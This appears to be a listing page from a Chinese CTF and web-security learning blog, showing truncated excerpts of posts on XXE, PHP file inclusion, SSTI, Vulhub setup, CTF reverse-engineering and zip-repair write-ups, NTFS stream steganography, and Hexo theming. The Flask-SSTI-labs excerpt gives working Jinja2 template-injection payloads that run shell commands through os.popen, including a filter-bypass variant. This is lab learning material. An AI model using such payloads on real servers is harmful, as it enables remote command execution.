XXE漏洞学习XXE的定义XXE就是XML外部实体注入,XML中有5种实体,如果网站允许使用外部实体,通过恶意构造内容就有可能实现任意文件读取、内网探测、命令执行等。
简单了解XMLXML指可扩展标记语言(ExtensibleMarkupLanguage),是一种与HTML类似的纯文本的标记语言,它由三个部分组成,分别是:文档类型定义(DocumentType Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible StyleLanguage,XSL),即XML的样式表语言;以及可扩展链接语言(ExtensibleLinkLanguage,XLL)
XML格式规范是由DTD(文档类型定义)来决定的>
如下:
1234567<?xml version="1.0"?>//这一行是 XML 文档定义<!DOCTYPE message [<!ELEMENT message (receiver ,sender ,header ,msg)><!ELEMENT receiver (#PCDATA)> ...
文件包含漏洞学习1.文件包含漏洞概述和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
以PHP为例,常用的文件包含函数有以下四种include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误,并停止脚本运行include():找不到被包含的文件只会产生警告,脚本继续执行require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
漏洞成因为:当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
利用这个特性,我们可以读取包含敏感信息的文件。
2.本地文件包含LFI(Lo ...
Flask-SSTI-labs 通关记录搭建环境
建议用nssctf在线 https://www.nssctf.cn/problem/13 直接用
Level 1 no waf123{% raw %}{'code': "{{(sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()}}"}{% endraw %}
Level 2 bl[‘{{’]123{% raw %}{'code': "{%print (sbwaf.__eq__.__globals__.sys.modules.os.popen('cat /app/flag')).read()%}"}{% endraw %}
Lev ...
SSTI漏洞模板引擎模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
SSTISSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主 ...
windows11系统下搭建搭建获取 Vulhub靶场前提条件(请确保以下都已安装):
Windows 11
Docker Desktop
官网下载:https://www.docker.com/products/docker-desktop/
⚠️ 如果你的公司符合“需付费”的条件,请参考订阅协议。
Git(用于克隆 Vulhub)
官网下载:https://git-scm.com/
启动 Docker Desktop
安装后,启动 Docker Desktop。
进入设置 → General,确认已勾选 **”Use the WSL 2 based engine”**。
安装一个 Linux 发行版(推荐 Ubuntu)安装一个 Linux 发行版(推荐 Ubuntu),然后才能运行 Vulhub。
在 PowerShell 中输入以下命令:
1wsl --list --online
然后执行以下命令来安装 Ubuntu:
1wsl --install -d Ubuntu
等待几分钟,它会自动下载并安装 Ubuntu。
安装完成后会弹出一个终端窗口,提示你设置用 ...
御网杯20205线下半决赛re方向re_c
FLAG:flag{HNCTFmng1}
re_python
得到
脚本
12345678910c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]flag=""for i in range(42): for j in range (128): if j * 33 % 179 == c[i]: flag+=chr(j)print(flag)#flag{2889e7a3-0d6b-4cbb-b6e9-04c0f26c9dca}
再替换一下
密码学crypto1
放到随波逐流里面能看到Rot13解码之后是明显的16进 ...
picgoCTF2025SSTI1SSTI漏洞介绍
1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
绕过payload
[PayloadsAllTheThings/Server Side Template Injection/Python.md at master · swisskyrepo/PayloadsAllTheThings · GitHub](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md?ref=blog.qz.sg#jinja2—remote-command-execution)
自动化工具tplmap
github地址:https://github.com/epinna/tplmap
我们可以从headers中看到它是Python应用程序。
如果我们使用经典的{{7*7}} Python SST ...
NTFS数据流隐写什么是NTFSNTFS(New Technology File System)是微软开发的一种文件系统,用于在Windows操作系统中管理磁盘上的数据。它是在1993年随Windows NT 3.1首次引入的,是FAT(如FAT16、FAT32)的继任者。
NTFS交换数据流(简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息。————百度百科
在 NTFS 文件系统中,文件可以有 多个数据流(Data Streams),而普通用户通常只接触到“主数据流”,也就是你双击打开时看到的内容。但事实上,NTFS 允许文件附加“备用数据流(Alternate Data Streams)”,这些流不会在资源管理器中显示,也不会影响主文件的正常使用。
这就为信息隐藏(隐写)提供了一种天然的方式。
下面我们来尝试一下NTFS交换数据流隐写。
NTFS数据流隐写1.单文件流隐藏首先在D盘打开cmd命令窗口,输入以下指令创建一个NTFS数据流
1 ...
Hexo fluid主题-添加分类及标签1.新建categories,tages页面hexo new page categories该命令在source目录下生成一个categories目录,categories目录下有一个index.md文件。
1hexo new page "tags"
该命令在source目录下生成一个tages目录,目录下有一个index.md文件。
2. 在文章中添加标签
需要注意缩进
tages为
1%00%00-%00
categories为
1%00%00-%00[]
如果不加中括号写多个categories会这样
保存以后
1hexo g &&hexo d&&hexo cl
misc
未读TGCTF ez_zip前面就是正常爆破,已知明文攻击
结束后发现文件打不开 显示文件已损坏
修复压缩包得到flag
方法一:
题目是修改了文件名长度和压缩方式
flag.txt长度应为8,改回08 00
压缩方式从COMP_DEFLATE改成了COMP_STORED,但很明显文件是压缩过的,把这两个地方修改
各种压缩方式
第二种方法
压缩源文件数据区和压缩源文件目录区在文件头标记后,除了压缩源文件目录区多出一条压缩使用的版本 (2 bytes) ,即本题中重复出现的两次14 00,一直到文件名长度**08 00,都是保持一致的,**所以可以直接将压缩源文件数据区的十六进制数据复制填入压缩源文件目录区表示文件名长度的08 00前即可
第三种方法
因为没有加密压缩包,所以frData字段就是zlib压缩的内容,直接将这部分拿出来,加上zlib头 (789C),zlib解压也可以得到flag
为什么是这样?
📦 ZIP 中使用的压缩算法
ZIP 文件最常用的压缩方法编号为:
0 → Store(无压缩)
8 → Deflate(zlib 同款压缩方式)
当使用 Defl ...